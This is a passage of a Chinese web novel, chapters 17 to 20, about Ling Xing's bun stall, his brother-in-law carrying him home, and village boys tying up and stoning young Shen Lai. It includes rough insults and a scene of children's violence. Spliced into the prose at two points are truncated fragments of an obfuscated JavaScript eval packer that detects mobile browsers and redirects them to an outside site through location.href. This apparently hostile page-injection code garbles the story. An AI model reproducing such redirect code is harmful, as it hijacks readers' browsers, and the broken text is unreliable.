二人出城门没多远,凌星就忍不住问沈回,“二弟,你是怎么知道那些话的?” 面摊和包子摊且有些距离呢,他说话声音也不大,沈回一直在收拾东西,也没靠近面摊听他们说话啊。 凌星百思不得其解,沈回轻飘飘道:“我会读唇语。” 闻言凌星眼睛一亮,对沈回道:“会读唇语?这样厉害!难怪能知道我和王大哥说了什么话。” 沈回沉默了一会,“大哥教我的,哥夫想学吗?” 凌星疯狂点头,“想学!” “等闲暇时教哥夫。” 凌星还真有些期待,总觉得会唇语很酷很厉害。 他弯着眼睛笑,“好,谢谢二弟!” 沈回隔一会才回一声,“没什么。” 官道上越走越没什么人,周围村子的老百姓非赶集的话很少去镇子。 配合凌星的速度,慢吞吞走着路的沈回突然停下,“哥夫背着竹篓和蒸笼。” 凌星也没问原因,只点头说好。 在低头调整背篓带子的时候,头上被什么东西罩住,余光看去是沈回穿在外头的褂子。 “怎么把衣服脱了,不冷嘛?” 凌星动手要拿罩在头上的褂子,被沈回阻止,他蹲下身。 “后面的路我背哥夫走。有条野路,只有我知道,那没什么人不怕被人看见。途中会有树枝,罩着小心划到。” 凌星动了动脚,他的脚后跟磨的很难受不错,可要人背着走一路,又不好意思。 沈回以为凌星是碍于哥儿的身份,“我也可以给哥夫叫牛车,但早上去镇上摆摊可没牛车坐。哥夫要是想快点到镇上开张,腿脚少受点罪,还是要被我背着。” 自己几 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凌星回说:“因为我突然想到,早上的时候那些重量对二弟来说,似乎并不算什么。现在也是,背我走这么会了,二弟的气息都没乱一点。” “哥夫的观察倒是细微。” “可不是我观察细微,是二弟人好。你真的很厉害,力气大又细心还贴心。是个很好的人。” 凌星等了一会,没有得到沈回的回应,他稍微掀开褂子,无意捕捉到沈回嘴边的一抹笑意。 看着沈回嘴角的弧度,凌星有些愣神。沈回这模样,此前倒是不曾见过。 “二弟你笑起来还真英俊帅气,该多笑笑的。” 凌星说的是心里话,沈回就那抹浅淡的笑意,即便是侧脸看着都俊的不行。 这次沈回终于出声了,他的声线低沉磁性,仔细听尾音像有钩子,“哥夫以后不要轻易的夸人。” 凌星摸摸耳朵,面对对他释放善意的人,真心的夸奖对方,是他从小到大的习惯。要改变的话,凌星有些难办,但又不好在这时候拒绝沈回。 只好小声道:“我尽量吧。” 17. 第 17 章 沈家在山脚下,沈回寻的这条野路,正好通到沈家百米之外。 到地方后,沈回放下凌星。他将凌星头上罩着的衣服掀开,掸去上面粘上的小树枝和叶子,重新穿好。 随后又把凌星背上的竹篓蒸笼都取下背在自己身上,“哥夫回去后,不要和家里人说是我背你回来。” 凌星有些没反应过来,不明白为什么要隐瞒,“二弟背我回来怎么了嘛?” 沈回找树枝的手顿了一下,侧头看向凌星,眼睛微微的眯起,似在打量凌星,“哥夫真的不知道?” 凌星脑袋懵懵。 沈回低头看他,琢磨着凌星的表情,“小叔子背着已故大哥的夫郎,叫爹娘他们知道,哥夫真的觉得没什么?” 凌星恍然,啊,对啊,我现在的身份是个能生孩子的哥儿了,不是男子了! 这样一来,沈回背他这一路,确实不妥。 凌星有些尴尬挠头,又整出笑话了不是。不过这也不能怪他,除了身体构造上有些许区别,以及他能生孩子外,心理上,他还是完全把自己当男人的。 他确实没觉得这会怎样,更没有要和男人避嫌的意识。 正想着后面多暗示自己是个哥儿,避免不必要的麻烦,手上就传来异样的感觉。 凌星低头一看,是树枝。 另一头在沈回手里,他下意识握住,人就被带着往前走。 一共只有百米的距离,两人走的都很慢。 凌星是脚后跟磨的钻心的疼,沈回则是配合凌星。 徐有芳端着陶盆出来泼水,瞧见了慢吞吞走回来的二人。 她连忙放下陶盆,快步上前直奔凌星,“呦,星哥儿这是怎么了?怎么牵带着走回来了?” 凌星道:“脚磨破了。” 徐有芳低头朝着凌星脚后跟看去,“皮都给磨破了,娘背你进去歇歇。” 凌星连忙摆手拒绝,“不用了娘,都到家门口了。” 见凌星执意不肯,徐有芳只好作罢。 只替换沈回,也不用树枝牵带,而是扶着凌星继续往前走。 把凌星送去东头房休息,徐有芳出来第一件事就是找沈回。 院子里没有,她去了灶屋,正巧见沈回从他的屋子里出来。 “二郎啊,你用树枝牵带着星哥儿,没叫旁人瞧见吧?” 面对自己娘亲忧心忡忡的脸,沈回只看一眼,就蹲下身整理背篓里的东西,“没,我专门走的野路,距离近也没人。” 徐有芳松一口气,“那就好。” 要是被人瞧见了,那嘴里的闲话还不知道要传的多难听。 “娘,这钱匣子你给哥夫送去?” 沈回把竹篓里的钱匣子取出来,这木头匣子是为了摆摊新做的,沈回打磨的好,摸起来很光滑也没有毛刺。 “你去送吧,小五也在东头房里。娘要做饭,不然赶不上吃了。” 徐有芳动作加快,不想耽误了吃饭的时辰。 沈回没再说什么,单手托着钱匣子就朝着东头房走。 他刚掀开帘子,沈来上一瞬还在叽叽喳喳的声音,一下子就给停了。 “二哥你咋来了啊?”沈来小声的问道。 沈回抬眼一瞥,就见凌星坐在床边,脚上草鞋还穿着。 沈来则半跪在床上,整个人趴在凌星的背上,双臂搂着凌星的脖子。被搂着的人,嘴角还带着笑意。 “沈来,不要闹哥夫。” 沈回的话比圣旨管用,沈来缩着脖子松开手,“知道啦二哥。” “没事的二弟,小五就是想同我玩一玩。他说一上午没见我,想我了想亲热亲热。” 凌星说话时脸上带笑,声音清越语气温和,沈来坐他背后躲着,听到凌星替他说话,心里高兴拿脑袋轻轻蹭一下凌星的背。 就这还注意着弧度要轻,不能给他二哥发现。 沈回这次没有像之前进屋送面那样,只把东西放在距离门口近的木箱子上。 他抬脚上前,把钱匣子放在床边,然后顺手揪出藏在凌星身后的沈来。 凌星感受到沈回的手臂从他耳侧伸去,他的鼻尖因为沈回的动作,轻微的碰上沈回外面套着的褂子。 那褂子不久前还在他头上顶着,没有什么异味,倒是有类似雨后青草的气息,也不知道沈回自己洗衣服都用什么洗的。 “二哥,疼!” 沈来被揪着后领提溜出来,沈回音色偏冷,屋里的窗户虽然开着,但因窗户面积小,里面的光线依旧很暗,看不清他脸上的表情。 “弄水来给哥夫清理一下伤口,然后给他涂药,别再闹人,下次进山想办法给你打一只山鸡吃。” 沈来感觉到掌心一热,捏一下发现是个小陶瓶。 他脑袋一下子接收太多的信息,有点转不过来。 一会惊讶的问凌星怎么受伤了,一会又惊喜的问沈回什么时候能进山。 山鸡啊!肉啊!他做梦都不敢梦自己吃肉! 沈回没有在屋里多待,回沈来一声开春进山,人就直接离开了屋子。 得到进山时间的沈来在床上激动的滚两圈后,才想起他二哥交代的事情。 “哥夫等我,我去打水来。” 凌星没拒绝沈来,现在也不是逞强的时候,他不敢看伤口,怕自己看了再晕过去,只能麻烦沈来。 倒是沈回叫他有些意外,他总感觉沈回好像发现他不敢看伤口。 沈来回来的很快,陶盆里的水是温水,正好徐有芳做饭烧了水,听说要给凌星清理伤口,直接给了一勺。 “哥夫你的脚后磨的怎么这么严重?明日还能走吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14036488|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈来用布巾擦拭伤口周围的时候,脸上表情都皱了起来,皮肉翻开的样子,光看着心里都觉得疼。 记着沈回说的不能叫家里人知道他被背着的事情,凌星只道:“没事,磨习惯了能忍。明天我垫点东西在后面就好。” 沈来想到凌星是从南边一路逃荒来的,那一路上可不好走,定是磨的更厉害。 现在瞧着凌星的脚,肉眼可见的也有不少的疤痕。 他心中全然信了,处理干净伤口周围,准备上药。 小陶瓶里面装着的是草药粉,稍微用力扯开瓶口塞着的布条后,草药的味道便飘了出来。 沈来轻轻的用指尖敲震陶瓶,让里面的草药出来。 凌星提醒沈来,“小五,药粉贵,得不少钱,少上一些就行。” “没事,这药粉是我二哥自己磨的,不花钱。而且对这种外伤最管用,二哥自己受伤都用这个,很快就好了。” 沈来嘴上这么说,手上敲震的力道还是小了一些。 这会草药没长出来呢,用完了可没新的。 上完药,沈来把布条团吧团吧,重新塞住瓶口。他把陶瓶放在枕头下,“晚上的时候我再帮哥夫上一次药,明天走路能好受点。” 凌星温和一笑,“小五真贴心。” 沈来挠挠头,很是不好意思,实诚的说:“嗐呀,我心里头是想着哥夫好,但也怕没做好,二哥不给我打山鸡吃了。” 一席话听的凌星哭笑不得,真是个实心眼的崽。 沈来跑去倒水,凌星则打开了钱匣子,算今日赚了多少的钱。 十斤发好的面,四斤豆腐馅,一共做了五十三个包子,五十四个馒头。 第一锅出二十四个包子,二十六个馒头,共收入一百六十三文。 第二锅包子先头答应了两个一起买能便宜一文,基本上都两个一起买了。具体多少人单买多少人两个两个买,凌星不知道。 而且后面还剩下一些面和豆腐馅,凌星在第二锅第一笼卖光的时候,直接又把剩下的全做了蒸上。 没办法像前头那样算的太清楚详细,只知道去掉王有麦和许七各四个包子和馒头,后面一共收入一百二十九文。 钱匣子里的铜钱,全部加起来是三百一十二文。整个的成本价是二百二十文,所以他今天的盈利是九十二文。 租摊位一个时辰,十文钱,仓库一日十文钱。去掉这些,凌晨四点出去,中午十一点到家,今日实打实赚了七十二文钱。 凌星其实挺满意了,这边壮年劳力出去找活干,一日能有三十文都是好的。 而且他这是只卖两小时,要是傍晚也去的话,能翻倍赚。 凌星盯着自己的脚,哎,他得弄点碎布头,让娘给做双布鞋才行。 不然一天就去卖一趟,就跟每天白丢钱一样。 18. 第 18 章 凌星把钱匣子里的钱用麻绳串好,每百个一串,一共三串还有十二枚散着的铜板。 整三串的他放大木箱子里收好,散着的十二枚继续放钱匣子里面。 中午吃的豆饭,徐有芳为了省下些柴火,豆饭熟了但并不软乎。 凌星嚼的腮帮子发酸,一口要嚼好久才咽的下去。 吃饭像上刑,好不容易吃完了,凌星要帮着一起收拾,被徐有芳推屋里休息去了。 “一大早就出去干活的人,回来也闲不住,快去睡个觉补眠,就两个碗哪里非要你刷了?” 凌星只好躺下休息,徐有芳都没让沈来去屋里,就怕打扰了凌星睡觉。 刚开始凌星睡不着,后来眼睛闭着闭着,因起的早,体力消耗太多,放松下来后的疲惫感席卷而来,最后真睡着了。 醒来已经是半个时辰后,凌星动了动脚,发现疲惫感减少大半,他心情好的勾唇笑笑。 草鞋的跟被他踩在脚下,避免再磨到脚后跟。 门帘外的堂屋,沈来正盘腿坐在地上,他对面坐着两个更小的萝卜头,沈小春和沈小夏。 “开春的时候我二哥要给我打山鸡吃,你们只要帮我报仇,我到时候就分个鸡腿给你们吃。” 肉的诱惑力是强大的,更别提鸡腿了。 沈小春姐弟两咽下口水,他们还没吃过鸡腿呢。 但他们见过鸡腿,前面的爹当着他们面吃过,可香了。 “可是我和小夏太瘦太矮了,打不过宝根。” 沈小春想到方宝根就忍不住缩脖子,声音也变小很多,“他会打死我和小夏的。” 沈来皱着眉头,不高兴道:“都还没面对面打呢,小春你怎么先怂了啊。” 见姐弟两都畏畏缩缩,大气不敢喘的样子,沈来使出杀手锏,“你们要不要吃鸡腿?” 姐弟二人又吞咽一下口水,小夏看向姐姐,他什么都听姐姐的。 小春咬着嘴唇,瘦巴巴的脸上充满犹豫纠结还有惊恐畏缩。 凌星感觉小春要被脑子里的纠结拉扯逼哭了,于是掀开帘子出去。 沈来看到凌星出来,麻溜的从地上起来,随手拍拍屁股上的灰尘,“哥夫你醒啦!” “嗯。”凌星抬手摸一下沈来的脑袋,“小五在外受欺负了?” 沈来眼睛微微瞪大,脖子梗着不敢动,“哥夫你多摸我一会,我还没被这样摸过呢。” 他的死敌方宝根就经常在他面前吹,说他娘对他多好多温柔,每天都要亲亲他,摸摸他脑袋喊他乖儿子。 沈来听多了心里也不得劲,跑回家要他娘也亲他,抱他摸他脑袋,喊他乖儿子。 然后他就被他娘拎出门外,警告他再进去打扰做绣活,就叫二哥收拾他。 沈来还记得当时哭了,也不知道是委屈他娘不喊他乖儿子,还是气要一直在这里输给方宝根,抑或是害怕被二哥收拾。 不过后面方宝根在他面前吹不了了,他有哥夫摸他脑袋,还问他是不是受欺负呢。 “不算受欺负,我都能应付得来。就是他们人多,我就一个人,所以想叫小春和小夏去给我撑场子。” 沈来脑袋在凌星的掌心下蹭来蹭去的,他也没隐瞒什么,直接说了实话。 凌星看一眼也同样站起来的小春和小夏,见俩孩子低着头都不敢吭声的样子,他轻叹一声。 “小五,和哥夫说说怎么回事?” 沈来只觉得哥夫声音太温柔了,还总是对他笑着,说不上来为什么,看到这样的哥夫,沈来就忍不住的想亲近。 人走了还会想,看到人就忍不住想靠近贴着。 完全抵抗不住哥夫的沈来,毫不犹豫的就点头。 凌星认真的听着,这事说大也大说小也小。 往小了说就是孩子间的皮闹,往大了说吧,是村子里的那些小孩排外,总针对沈来。 不过现在没有霸凌这个词和概念,沈来也心大,没以为那些人在霸凌他。 加上这孩子是个吃不了亏的性子,人家打他一下,他要立马还回去。所以在他看来,那是彼此打架,而不是对方企图霸凌他,但被他还手还回去了。 小孩子也会害怕发起狠揍人的沈来,就总会隔一段距离骂他。 之前因为沈还离世,沈来一直在家没怎么出去,今天上午因为凌星不在,他闲的无聊发闷,就想去村口大树那等凌星。 谁知道遇到那群孩子,又被他们给骂了。 沈来追着他们也打不着,他一个人又骂不过十来个,气的要命也没办法。 回来又不敢说,主要是觉得丢脸,他沈来竟然被人骂回家了! 凌星听完后,温声对沈来道:“今日我腿脚不便,等过两日我陪小五去会会他们。” 倒不是要去做什么,凌星只是觉得这事不能一直放任下去。 沈来闻言高兴的要蹦起来,他有人撑腰啦! 任由沈来蹦了一会后,凌星看向小春和小夏,姐弟二人低头也不说话,站在那一动也不动。 “小春小夏,还有小五,来灶屋帮忙。晚上蒸包子给你们吃。” 沈来眼睛一亮,“大哥夫你最好啦!” 听到有包子吃,小春和小夏忍不住咽口水,声音小小的,乖巧点头,“谢谢大伯夫。” 取了老面引子后凌星开始和面,包子要馅料,凌星数五文钱给沈来。 徐有芳知道凌星要包包子给孩子们吃,她从西头房取了钱,换下沈来手里的。 “你哥夫也不容易,别总扒着他给你好处,这不是诚心欺负他心软?” 沈来有些委屈,哥夫好心好意要给他做好吃的,怎么到他娘这,就是他扒着哥夫要了。 先头的喜悦一下子消失,沈来蔫哒哒的又不敢反驳,只能点头,“知道了娘。” 买豆腐的路上,沈来一直低着头走,边走边踢路上的石子,心里闷的难受。 好不容易到了王夫郎家,但他家的豆腐没有了,只能去别家。 沈来突然不想买豆腐,包子也不想吃了。 王夫郎收着木板,感觉对面的小孩不对劲,连忙放下手里的木板,走近后蹲下身,“好好的怎么哭了?” “呜呜呜呜呜……” 沈来说不出话,他张口就是呜咽的声音。其实也没什么,可他不知道为什么心里就这么难受。 以前也不这样啊。 王夫郎看沈来哭的伤心,抬手给他擦眼泪,缓缓的拍着沈来后背,哄他别哭。 “好孩子,你想要豆腐的话我家留了一块,切一半给你,不要你钱,别哭了,小哥儿哭多就不好看了。” 沈来也想不哭的,可王夫郎越哄他,他反而控制不住。 “青哥儿,出什么事了?” 堂屋出来一身着灰袍的男子,人很高,清瘦的很。面容憔悴苍白,却不掩斯文俊秀,浑身上下透着一股书卷气。 王夫郎扭头看去,眉间微皱着,很是无奈,“孩子哭了我哄不好。” “七郎你过来看着一下孩子,我去切半块豆腐出来。” 王隽颔首过来,听夫郎的话站在沈来边上,眼睛直勾勾的盯着沈来。 没了轻声温和的安慰后,沈来的委屈感没有那么强烈,渐渐平复情绪。 等王夫郎用剪好的芭蕉叶子托着豆腐出来时,沈来已经不哭了。 这也让王夫郎松口气,他不擅长哄孩子,也见不得孩子哭。 半块豆腐被王夫郎塞沈来手中,沈来要拿钱,王夫郎坚决不要。 “说了不要你钱就是不要你钱,拿回家吃去吧。” 沈来性子直也倔,不要贪图别人的便宜,直说不要钱他也不要豆腐。 刚哭完的声音带着些哭腔,时不时的还抽泣一下,王夫郎怕他再哭,连忙道:“那给两文就成。” 沈来点点头,摸出两文钱递王夫郎手里。 回去后,沈来尽可能的让自己看不出异样。 他把剩下的三文钱交给徐有芳,头一直低着,“王夫郎说豆腐卖完了,把他家里吃的匀我一半,就收我两文钱。” 徐有芳没察觉出什么,接过钱就去西头房把钱放回原位。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14036489|148879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈来捧着半块豆腐进灶屋,刚靠近凌星,就被凌星发现了异样。 “怎么哭过了?” 凌星把豆腐接过,掌心触碰沈来的脸,“想和哥夫说说原因吗?” 沈来不争气的眼眶一红,他以前怎么没发现自己这么爱哭呢? 说给哥夫的话,哥夫能理解他吗? 最终沈来还是说了。 他声音小,说的也快,本来就不是多复杂的事情,就只是因为他娘的一句话而已。 “哥夫,你会不会觉得我是个爱哭鬼啊?” 沈来有些小心翼翼的问着。 凌星这才意识到,平日里看着大大咧咧,性子爽朗欢快的沈来,其实也一直都小心翼翼,心思敏感。 “不会,我们小五是很棒的孩子。你会哭很正常的,给我的话也会觉得心里委屈。但娘她不是有意说小五不好,家里日子过的艰难,娘她节省惯了,只是想能不被饿死就好。小五放心,以后咱们的日子一定能越过越好。” 沈来猛的点头,“我知道的,以后咱们一定能越过越好。” 两人声音小,不远处看着陶盆等发面的小春小夏也没听清什么,加上两人一心在陶盆上,因为是凌星交代他们的事,他们想做好,就更没注意其他动静。 包子包好的时候,徐有芳捡了两个出来用陶碗装好。 家里一共就包了十三个,徐有芳准备就给三个孩子还有凌星吃,补身体。 装出来的两个她想送给王夫郎,人家匀豆腐还少收钱,那豆腐切的可有大半斤呢。 “小五啊,这个给王夫郎家送去,快去快回莫多停留。” 沈来这会已经恢复了状态,和凌星说给他选个特别大的包子放陶碗里冷着后,端着给王夫郎家的两大包子撒腿就跑。 凌星挑了个大包子给沈来陶碗里,又给小春和小夏各自挑了两个大的,他边动作边问:“娘,家里油纸还有多少啊?” 这次卖包子包的油纸家里倒是没花钱买,是之前油纸铺子的掌柜拖欠沈回的野味钱,那人好赌,铺子都赌没了。 沈回眼看着钱不可能要回来,干脆趁着铺子易主之前,叫人拿铺子里油纸来垫。 其他的东西沈回要不了,全被赌出去了。 徐有芳在院子里理绣线,提高了音调回他,“照今天的用量,足够用两三月的呢。这东西也是个贵价的,以后可得想想用什么代替才好。” 油纸比起书写的纸,其实已经便宜很多。 但包子摊一直用油纸确实不划算,这都是包药材,点心还有各种烧肉的。因着这些本来就贵价,油纸的成本也算里面,人家也不觉得东西贵了。 他这包子摊算油纸成本的话,要再涨一文,怕是镇上的人不会愿意买。 凌星看着不远处剪裁成方形的叶子,之前家里买豆腐都是直接拿着碗盆去的,倒是不知道这边还有芭蕉叶能用。 “娘,我今日瞧着王夫郎给的豆腐是用芭蕉叶子托底的,咱们也弄些来洗干净修剪?” 要换就得趁早换,时间久了再换,食客习惯了心里多少会不太舒服。 徐有芳一想也觉得行得通,“那叶子也成,叫二郎去山里弄,到时候娘给你洗干净剪了。” “我自己去就可以了。” 凌星觉得不好什么都叫人家帮他,弄叶子不是什么重活,他可以的。 徐有芳轻笑一声,“有那叶子的地方在深山里,那地比其他地方热一些,蛇就多。全村除了王夫郎和二郎,没人敢去。王夫郎有祖传的驱蛇药,二郎是身手好。星哥儿你确定要自己去?” 凌星哑了一瞬,他不确定…… 超级怕蛇的凌星表示,“那就辛苦二弟了。” 理完绣线,徐有芳准备做晚饭。面糊做起来快,水烧开就好了。 添柴火的时候,徐有芳眉头一跳,心里有些不安,“这小五出去这么会怎么还不回来?” 明天要用的面凌星发着了,草木灰水杂质去完,又泡了新的,老面引子也留了,左右无事他便道:“我出去找找吧。” 19. 第 19 章 灶屋离不开人,徐有芳同意了凌星说的,想到他刚嫁过来,除去今日去镇上出了趟家门外,其他时候都在家里没出过门。 于是便喊了一声沈小春,又对凌星道:“怕你不识路,叫小春跟你一道去。” 凌星应下,带着小春去找沈来。 路上沈小春除了小声的提醒凌星怎么走外,几乎不讲话。 凌星也没非拉着孩子说话,静静的跟着。 想到沈来是去王夫郎家送包子的,凌星叫小春领着他去王夫郎家一趟。 距离不算太远,王夫郎家在村尾,离沈家可以说还比较近。 与沈家一样的土屋,外面围着篱笆院。 透过篱笆,能看见院子里有个大石磨,这可值不少钱的。 沈小春胆小不敢敲门,凌星摸摸她的头,“谢谢小春带路,大伯夫来吧。” 敲响木门,堂屋里很快传来一道清亮的询问声,“谁啊?” 话音刚落,就从屋里走出一人。 凌星敲完门就溜到篱笆院那往里面张望,见到走来之人的模样。那人个头还挺高的,凌星估摸着能有一米八几。身型偏瘦,五官俊秀麦色皮肤。 看一眼人后,凌星立即自报家门,“我叫凌星,是沈家新娶的夫郎,来找王夫郎有事。” 来人闻言快步前来开门,凌星听到门栓响动声,下一瞬吱呀一声,门开了。 里面的人道:“我就是王夫郎,名唤谢青崖。王夫郎和谢哥儿随你叫,来找我何事啊?进来说?” 凌星瞥见谢青崖搭在门边的右手手腕另绑一条灰色的布带子,想来是遮挡孕痣,以防有露出风险。 他只看一眼便收回神,摇了摇头,直接道:“谢哥儿,我家小五说来给你送东西,但人一直迟迟不回。家中担忧,故来此想询问一下谢哥儿,是否见到我家小五?” 谢青崖一愣,脸上神情有些惊讶,“小五没来啊。” 凌星脸色微变,谢青崖也意识到不对劲,连忙安慰道:“小五不是会乱走乱跑的孩子,左右我现在无事,帮你一起在村子里寻他。” 凌星自然是知道沈来其实是个听话懂事的,所以这会知道人没来,心里才更担心害怕。 有人帮忙能更快找到沈来,他没有拒绝谢青崖的帮助,忙不迭的点头,“劳烦谢哥儿了。” “没事,我进去同我夫君说一声。” 谢青崖走的很快,凌星正好对沈小春道:“小春,回去告诉阿奶,就说小五人不见了,我和谢哥儿在村子里找找。” 知道小五叔人找不着,沈小春心里也慌乱的不行。她得了凌星的交代,点头后就朝着家里飞快的跑去。 那头谢青崖也出来了,正对着堂屋的方向挥手,“你快进去,别再受寒。” 凌星抬眼看去,堂屋门口站着个清隽男子,因为有些距离,并看不清神情。 谢青崖关好门,对凌星说:“你怕是也不认什么路,你便去村口找,顺着路一直走就是。我去其他地方找找看,找到人我就直接送沈家去。” “好的,辛苦谢哥儿。” “没什么,找到人要紧。” 二人分头走,凌星本也想去村口那看看,头先听了沈来说村子里孩子不待见他,今日还在村口欺负他。 要是人在那就好了,哪怕是被欺负着,至少人在村子里。 怕就怕人不在村子里,沈来又不是乱跑的性子,若不在村子里那只能是遇险。 这地方买卖人口是合法的,拐子多的很。 凌星不敢深想下去,一路朝着村口跑去。 因着不想脚后跟的伤被磨,草鞋的跟是被凌星踩在脚下。 跑起来不跟脚,凌星没办法只能脱了草鞋,手里拿着继续跑。 托原身脚底被磨出薄茧的福,这会踩在地上也不觉得多疼。 到村口的时候,剧烈运动让凌星感觉耳膜鼓胀,心口极速跳动喘息,气血翻涌,眼冒金星。 他眼前黑了一瞬,耳朵一直有嗡嗡声听不清周围声音。 好在缓一会后,视线恢复,耳朵也听清了。 前方确实有人,还不少。 在看清眼前景象时,凌星眉头紧皱。 “小五!” 沈来没有遇险,也没被拐走。 他被一群小孩用麻绳绑在了树上,那些小孩在往他身上丢石子。 听到熟悉的声音,沈来的骂声停止,他满眼泪花的看向凌星,“哥夫!我好疼啊,快救救我!” 凌星的出现让那用石子砸沈来的七人停下了动作,七人里有两个年纪明显偏大,看样子有十五六岁。 另外五个和沈来差不多的年纪,他们瘦归瘦,但瞧着身板很结实。 凌星总算明白沈来怎么会被人从村尾弄到村头绑在树下。 看到凌星,年纪小的五个觉得害怕,生出了想要逃跑的念头。 但另外两个却不然,不仅不想跑,还要动手砸凌星。 在他们看来,凌星又瘦又弱,与他们差不多的年纪,何至于怕他? 凌星躲过了个石子,想也没想抬手一扔,把一只草鞋精准的扔到,朝他扔石子的那个瘦高少年脸上。 对方鼻子被砸中,疼的要命,眼角都包裹着泪。 凌星趁机赶紧去解开沈来的绳子。 “哥夫小心!” 沈来瞳孔骤缩,一下推开凌星,自己弯腰一顶,直接把举着石头要砸人的瘦高少年顶了出去。 他正好顶在对方的腹部,撞的那人忍不住的想干呕。 凌星被推的坐在地上愣了一下,随后赶紧起身。起的太猛,他有些头晕眼花。 不过容不得他再缓,沈来不是那两个少年的对手。 在凌星赶过去的时候,沈来脸上身上挨了几拳,对方也没讨什么好。 虽然沈来个子不高力气也不大,他也心知这些,便也不用拳头,直接上牙咬。 逮着对方的手就往死里咬,恨不得咬下一块肉来。 那瘦高个疼的厉害,为了能叫沈来松口,另一只拽着沈来的头发往后扯,疼得龇牙咧嘴,警告道:“姓沈的你他娘赶紧松口,不然老子打死你!” 沈来头皮一疼,却半点不见松口。 砸他不可以,要砸他哥夫更不可以! 他今天非要咬死赵二宝这狗东西! 没一会,沈来的头发被拽的松动,布条松开,他额间的红色孕痣显露出来。 赵二宝在看到孕痣的那一瞬间,一下子慌神,像是看了什么不得了的东西,惊叫道:“你孕痣露出来!还不他娘的快松口绑上!” 禹朝对哥儿和女子保护的律法不算太多,但有一项便是:丈夫以外的 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方宝根看到凌星突然倒地,又见他三表哥怎么踢人都没反应,脑袋一抽就喊了出来。 赵三财听到表弟的声音气的牙痒,恨不得用泥糊住他的嘴。 “哥夫!” 沈来冲向凌星,轻轻推他,见人没反应后,他一下子红了眼。 抬头恶狠狠的瞪着赵三财,狼崽子一样的冲上去,张嘴就要咬。 赵三财看他一口的血,加上那吃人的眼神,吓的一激灵。 他反应够快,连忙道:“我试了你哥夫鼻息,他又没死,但再不叫大夫来看他,可就说不准了。” 沈来硬生生的停下,他只能先放过对方。 可他力气小,弄不动人,又不敢离开,怕赵二宝和赵三财会再对凌星做什么。 就在沈来想着办法的时候,他听到了他娘的声音。 “小五啊!你怎么跑这来了!” 徐有芳看到沈来坐在村口的地上,悬着的心终于放下。 走近后一瞧,心又一下子提了起来。 这孩子孕痣怎么露出来了?地上咋还躺着个人。 仔细一看,徐有芳瞪大眼睛。 “星哥儿!” …… 凌星睁眼后,眼前一片黑漆漆。 若非有微弱光线,他都以为自己瞎了。 撑着胳膊坐起身,眼前又冒一会金星。 说来也惭愧,今天本想带着沈来跑走,结果低血糖直接就晕了。 这具身体长期营养不良,瘦的麻秆一样。今天他又忙又累,吃的又没有任何营养不说,压根也吃不饱。 更是没吃饭就剧烈运动,还猛的起身蹲下。 能坚持那么久才低血糖晕倒,已经很不容易了。 凌星缓了一会,听到外面似乎有吵闹声。 他下床发现没草鞋,只能光着脚出去。 屋里黑灯瞎火的看不见什么,凌星走的小心。 外面月亮很大,月光倾泻而下,足以人看清周围。 凌星走出去就听一道尖锐的女声叫嚷着,“你看看给我家二宝咬的!赔钱!” 20. 第 20 章 曹满月是家里媳妇,这种情形下,她是插不上话的。能做的只有站在公婆后面,公婆说什么她做什么。 因此也有余力分出心绪观察周围的动静,看到凌星走过来,她松口气,还好人没事。 “哥夫,你醒啦。可还有什么不舒服的?” “嗯,我没事。” 凌星走过来,大概看一眼,第一眼看到的是在徐有芳身后,低着头的沈来。 这会沈来的脸上还有红肿淤青,被那群人绑着的时候揍出来,砸出来的。 石头稍微再大点,或者他们直接用力砸了头,沈来今天能不能活着,都两说。 他们怎么还有脸来沈家要说法? 院子里围着二十来号人,有大有小。绑着沈来的那七个都在,其他的应该就是这几家大人。 为首的妇人衣着与其他几个大人明显不同,其他人穿着破旧有多处补丁,人也精瘦,不论男女哥儿头发都是用灰扑扑的破布条绑着。 而那妇人她的衣服虽也颜色灰朴,却没有一处补丁。头上还簪着一根发旧的素银簪子,在这人人都穿补丁衣服的村子里,不难看出家境不错。 妇人颧骨与嘴巴微凸,好在脸颊有些肉感,面相上中和了刻薄相。眼睛也圆润,乍一看倒也能觉出几分容貌来。 加上家境不错,吃穿不愁,与常年下地劳作的女子哥儿们比,更显得白净。 只是那张嘴里吐出来的话,以及那盛气凌人不死不休的模样,也颇为骇人。 圆润的眼睛因愤怒而瞪,一双眼珠子眼白变多,活像索命厉鬼。 她眉间紧紧皱着,单手叉腰另一只手指着沈家人,唾沫横飞,“一家子穷酸鬼,我儿子你们也敢动!告诉你们,今天要是不给我赔钱,你们沈家以后别他娘的想有好日子过!老娘我闹死你们家!” 徐有芳把沈来护在身后,沈呈山和沈归两个男人则又挡在其前面。 沈家四人脸色都不好,沈呈山对方家有忌惮,他此时没提沈来和凌星的事,而是沉声问道:“你要我们赔多少?” 那妇人讥笑一声,“十两,明天就要。” 沈呈山不可置信的说:“我家哪有十两银子给你!” “没银子也没地吗?那块上等田就不错。”妇人说的快,显然是有备而来。 一旁沈归气笑了,“你想的倒是美,别说我家不给,就单说上等田,卖的话最少一亩二十两银子,你十两就想拿到手?” 妇人骂道:“他娘的,你家那小贱蹄子不要脸咬男人,见个男人就往人身上扑,骚贱东西不想老娘四处宣扬,就老老实实的给老娘把地交出来!” 山脚下只一户人家,因此沈家的院子专程留的大,为着以后能加盖。 平时觉得宽松不行的院子,凌星此时觉出些拥挤。 